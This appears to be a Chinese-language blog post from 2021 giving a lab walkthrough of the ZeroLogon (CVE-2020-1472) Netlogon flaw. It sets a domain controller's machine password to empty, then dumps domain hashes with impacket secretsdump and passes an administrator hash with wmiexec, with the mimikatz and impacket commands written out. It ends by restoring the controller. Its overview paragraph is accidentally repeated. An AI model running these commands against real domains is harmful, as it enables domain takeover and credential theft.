ZeroLogon(CVE-2020-1472)

漏洞概述:

这是近几年windows上比较重量级别的一个漏洞。通过该漏洞,攻击者只需能够访问域控的445端口,在无需任何凭据的情况下(可以在域外)能拿到域管的权限。该漏洞的产生来源于Netlogon协议认证的加密模块存在缺陷,导致攻击者可以在没有凭证的情况情况下通过认证。该漏洞的最稳定利用是调用netlogon中RPC函数NetrServerPasswordSet2来重置域控的密码,从而以域控的身份进行Dcsync获取域管权限。这个漏洞的完整利用需要域控开启135和445端口这是近几年windows上比较重量级别的一个漏洞。通过该漏洞,攻击者只需能够访问域控的445端口,在无需任何凭据的情况下能拿到域管的权限。该漏洞的产生来源于Netlogon协议认证的加密模块存在缺陷,导致攻击者可以在没有凭证的情况情况下通过认证。该漏洞的最稳定利用是调用netlogon中RPC函数NetrServerPasswordSet2来重置域控的密码,从而以域控的身份进行Dcsync获取域管权限。这个漏洞的完整利用需要域控开启135和445端口。

注意:漏洞利用成功后是把域控这个机器用户的密码置为空,与域管的密码无关。

实验环境

域名:HIRO
域控:WIN-KONG@192.168.228.10 域管:hiro\administrator

验证

用zerologon_tester.py验证是否有CVE-2020-1472漏洞
image

攻击:

1.使用CVE-2020-1472exp(需要先代理)

这一步会把域控的密码置为空 #即hash为31d6cfe0d16ae931b73c59d7e0c089c0
image

自己本地验证看攻击是否成功(ntlmhash为空)
image

前后对比
image

2.使用mimikatz(要用支持zerologon的版本)

(1)如果当前主机不在域环境中,target指向ip
lsadump::zerologon /target:192.168.228.10 /ntlm /null /account:win-kong$ /exploit
image

(2)如果当前主机在域环境中,target指向FQDN
image

利用(使用impacket包)

攻击成功后读取域内密码hash(域控机器账号有DCSync权限)
python3 secretsdump.py hiro.com/WIN-KONG$@192.168.228.10 -no-pass
image

哈希传递(administrator)
python3 .\wmiexec.py hiro/administrator@192.168.228.10 -hashes aad3b435b51404eeaad3b435b51404ee:e9bf196dc93a1219e3b2e79b1b7aa36e
image

恢复脱域的域控

在攻击过程中,将机器的密码置为空,这一步是会导致域控脱域的。其本质原因是由于机器用户在AD中的密码(存储在ntds.dic)与本地的注册表lsass里面的密码不一致导致的。所以要将其恢复,将AD中的密码与注册表lsass里面的密码保持一致。
像服务器一样,DC拥有一个带有密码的机器帐户,该帐户以加密方式存储在注册表中。引导时将其加载到lsass中。如果使用Zerologon更改密码,则仅AD中的密码会更改,而不是注册表或lsass中的密码利用后每当发出新的Kerberos票证时,DC无法使用lsass中的机器帐户密码来解密服务票证,并且无法使用Kerberos中断身份验证
恢复域控机器密码:
在域控上执行: powershell Reset-ComputerMachinePassword

最后对比
image

posted @ 2021-05-26 00:07  cAr7n  阅读(1414)  评论(0编辑  收藏  举报